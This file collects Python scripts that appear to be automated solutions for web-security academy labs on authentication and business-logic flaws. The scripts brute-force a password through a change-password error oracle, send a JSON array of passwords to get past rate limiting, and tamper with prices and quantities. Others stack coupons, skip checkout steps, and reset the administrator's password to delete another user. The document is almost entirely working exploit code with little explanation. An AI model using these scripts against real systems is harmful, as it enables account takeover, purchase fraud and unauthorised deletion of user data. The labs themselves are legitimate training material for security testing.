def auth_bypass(s,url):
# Log in as the low-privilege user first
data={'username':'wiener','password':'peter'}
r=s.post(url+'/login',data=data,verify=False,proxies=proxies)
with open("password.txt","r") as f:
for passwd in f:
correct_pass=""
password=passwd.strip()
# Attempt to change Carlos's password using the current guess as the 'current-password'
data={'username':'carlos','current-password':password,'new-password-1':'donotmatch','new-password-2':'match'}
res=s.post(url+"/my-account/change-password",data=data,verify=False,proxies=proxies)
print(f"[+] Trying password {password}")
# If the error is 'New passwords do not match', the 'current-password' was correct
if "New passwords do not match" in res.text:
correct_pass+=password
# Log in with the discovered password
data={'username':'carlos','password':correct_pass}
response=s.post(url+'/login',data=data,verify=False,proxies=proxies)
if "Log out" in response.text:
print("[+] Successfully logged in as carlos with password ",passwd)
sys.exit(0)
break
print("[-] Not successful")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[+] Usage python3 {sys.argv[0]} https://vulnserver.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
auth_bypass(s,url)
Expert
Broken brute-force protection, multiple credentials per request
import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def auth_bypass(s,url):
headers={'Content-Type':'application/json'}
# Send a JSON array of passwords to bypass rate limiting
json_payload={
'username':'carlos',
'password':["123456","password","12345678","qwerty","123456789","12345","1234","111111","1234567","dragon","123123","baseball","abc123","football","monkey","letmein","shadow","master","666666","qwertyuiop","123321","mustang","1234567890","michael","654321","superman","1qaz2wsx","7777777","121212","000000","qazwsx","123qwe","killer","trustno1","jordan","jennifer","zxcvbnm","asdfgh","hunter","buster","soccer","harley","batman","andrew","tigger","sunshine","iloveyou","2000","charlie","robert","thomas","hockey","ranger","daniel","starwars","klaster","112233","george","computer","michelle","jessica","pepper","1111","zxcvbn","555555","11111111","131313","freedom","777777","pass","maggie","159753","aaaaaa","ginger","princess","joshua","cheese","amanda","summer","love","ashley","nicole","chelsea","biteme","matthew","access","yankees","987654321","dallas","austin","thunder","taylor","matrix","mobilemail","mom","monitor","monitoring","montana","moon","moscow"]
}
r=s.post(url+'/login',json=json_payload,headers=headers,verify=False,proxies=proxies)
if "Log out" in r.text:
print("[+] Multiple credentials per request successful")
else:
print("[-] Not successful")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[+] Usage python3 {sys.argv[0]} https://vulnserver.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
auth_bypass(s,url)
10. Business Logic Vulnerabilities
Automated solutions for Web Security Academy Business Logic labs.
Apprentice
Excessive trust in client-side controls
import requests
import sys
import urllib3
import urllib
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def get_csrf_token(s,url):
r=s.get(url+'/login',verify=False,proxies=proxies)
soup=BeautifulSoup(r.text,'html.parser')
csrf=soup.find("input")['value']
return csrf
def business_logic_flaw(s,url):
csrf=get_csrf_token(s,url)
data={'csrf':csrf,'username':'wiener','password':'peter'}
r=s.post(url+'/login',data=data,verify=False,proxies=proxies)
if "Log out" in r.text:
data={'productId':'1','redir':'PRODUCT','quantity':'1','price':'1'}
res=s.post(url+'/cart',data=data,verify=False,proxies=proxies)
csrf=get_csrf_token(s,url)
data={'csrf':csrf}
response=s.post(url+'/cart/checkout',data=data,verify=False,proxies=proxies)
if "Your order is on its way" in response.text:
print("[+] Congratulations ordered Lightweight l33t Leather Jacket successfully")
else:
print("[-] Login was not successful")
sys.exit(-1)
else:
print("[-] Failed login was not successful")
sys.exit(-1)
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
business_logic_flaw(s,url)
Apprentice
High-level logic vulnerability
import requests
import sys
import urllib3
import urllib
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def get_csrf_token(s,url):
r=s.get(url+'/login',verify=False,proxies=proxies)
soup=BeautifulSoup(r.text,'html.parser')
csrf=soup.find("input")['value']
return csrf
def business_logic_flaw(s,url):
csrf=get_csrf_token(s,url)
data={'csrf':csrf,'username':'wiener','password':'peter'}
r=s.post(url+'/login',data=data,verify=False,proxies=proxies)
if "Log out" in r.text:
data={'productId':'1','redir':'PRODUCT','quantity':'1'}
r=s.post(url+'/cart',data=data,verify=False,proxies=proxies)
data={'productId':'6','redir':'PRODUCT','quantity':'-14'}
res=s.post(url+'/cart',data=data,verify=False,proxies=proxies)
csrf=get_csrf_token(s,url)
data={'csrf':csrf}
response=s.post(url+'/cart/checkout',data=data,verify=False,proxies=proxies)
if "Your order is on its way" in response.text:
print("[+] Congratulations ordered Lightweight l33t Leather Jacket successfully")
else:
print("[-] Login was not successful")
sys.exit(-1)
else:
print("[-] Failed login was not successful")
sys.exit(-1)
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
business_logic_flaw(s,url)
Apprentice
Flawed enforcement of business rules
import requests
import sys
import urllib3
import urllib
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def get_csrf_token(s,url):
r=s.get(url+'/login',verify=False,proxies=proxies)
soup=BeautifulSoup(r.text,'html.parser')
csrf=soup.find("input")['value']
return csrf
def business_logic_flaw(s,url):
csrf=get_csrf_token(s,url)
data={'csrf':csrf,'username':'wiener','password':'peter'}
r=s.post(url+'/login',data=data,verify=False,proxies=proxies)
if "Log out" in r.text:
data={'productId':'1','redir':'PRODUCT','quantity':'1'}
r=s.post(url+'/cart',data=data,verify=False,proxies=proxies)
csrf=get_csrf_token(s,url)
for i in range(0,9):
if i % 2 == 1:
data={'csrf':csrf,'coupon':'NEWCUST5'}
res=s.post(url+'/cart/coupon',data=data,verify=False,proxies=proxies)
csrf=get_csrf_token(s,url)
else:
data={'csrf':csrf,'coupon':'SIGNUP30'}
res=s.post(url+'/cart/coupon',data=data,verify=False,proxies=proxies)
csrf=get_csrf_token(s,url)
data={'csrf':csrf}
response=s.post(url+'/cart/checkout',data=data,verify=False,proxies=proxies)
if "Your order is on its way" in response.text:
print("[+] Congratulations ordered Lightweight l33t Leather Jacket successfully")
else:
print("[-] Login was not successful")
sys.exit(-1)
else:
print("[-] Failed login was not successful")
sys.exit(-1)
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
business_logic_flaw(s,url)
Practitioner
Weak isolation on dual-use endpoint
import requests
import sys
import urllib3
import urllib
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def get_csrf_token(s,url):
r=s.get(url+'/login',verify=False,proxies=proxies)
soup=BeautifulSoup(r.text,'html.parser')
csrf=soup.find("input")['value']
return csrf
def business_logic_flaw(s,url):
csrf=get_csrf_token(s,url)
data={'csrf':csrf,'username':'wiener','password':'peter'}
r=s.post(url+'/login',data=data,verify=False,proxies=proxies)
if "Log out" in r.text:
csrf=get_csrf_token(s,url)
data={'csrf':csrf,'username':'administrator','new-password-1':'password','new-password-2':'password'}
r=s.post(url+'/my-account/change-password',data=data,verify=False,proxies=proxies)
response=s.get(url+'/logout',verify=False,proxies=proxies)
if "200" in str(response.status_code):
csrf=get_csrf_token(s,url)
data={'csrf':csrf,'username':'administrator','password':'password'}
r=s.post(url+'/login',data=data,verify=False,proxies=proxies)
r=s.get(url+'/admin/delete?username=carlos',verify=False,proxies=proxies)
response=s.get(url+'/admin',verify=False,proxies=proxies)
if "carlos" not in response.text:
print("[+] Successfully deleted user Carlos")
else:
print("[-] Not successful exploit")
else:
print("[-] Logout not successful")
else:
print("[-] Failed login was not successful")
sys.exit(-1)
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
business_logic_flaw(s,url)
Practitioner
Insufficient workflow validation
import requests
import sys
import urllib3
import urllib
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def get_csrf_token(s,url):
r=s.get(url+'/login',verify=False,proxies=proxies)
soup=BeautifulSoup(r.text,'html.parser')
csrf=soup.find("input")['value']
return csrf
def business_logic_flaw(s,url):
csrf=get_csrf_token(s,url)
data={'csrf':csrf,'username':'wiener','password':'peter'}
r=s.post(url+'/login',data=data,verify=False,proxies=proxies)
if "Log out" in r.text:
data={'productId':'1','redir':'PRODUCT','quantity':'1'}
r=s.post(url+'/cart',data=data,verify=False,proxies=proxies)
response=s.get(url+'/cart/order-confirmation?order-confirmed=true', verify=False, proxies=proxies)
if "Congratulations" in response.text:
print("[+] Congratulations ordered Lightweight l33t Leather Jacket successfully")
else:
print("[-] Exploit failed")
sys.exit(-1)
else:
print("[-] Failed login was not successful")
sys.exit(-1)
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
business_logic_flaw(s,url)
Practitioner
Authentication bypass via flawed state machine
import requests
import sys
import urllib3
import urllib
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def get_csrf_token(s,url):
r=s.get(url+'/login',verify=False,proxies=proxies)
soup=BeautifulSoup(r.text,'html.parser')
csrf=soup.find("input")['value']
return csrf
def business_logic_flaw(s,url):
csrf=get_csrf_token(s,url)
data={'csrf':csrf,'username':'wiener','password':'peter'}
r=s.post(url+'/login',allow_redirects=False,data=data,verify=False,proxies=proxies)
res=s.get(url+'/admin/delete?username=carlos',verify=False,proxies=proxies)
if "Congratulations" in res.text:
print("[+] Successfully deleted user Carlos")
else:
print("[-] Not successful exploit")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
business_logic_flaw(s,url)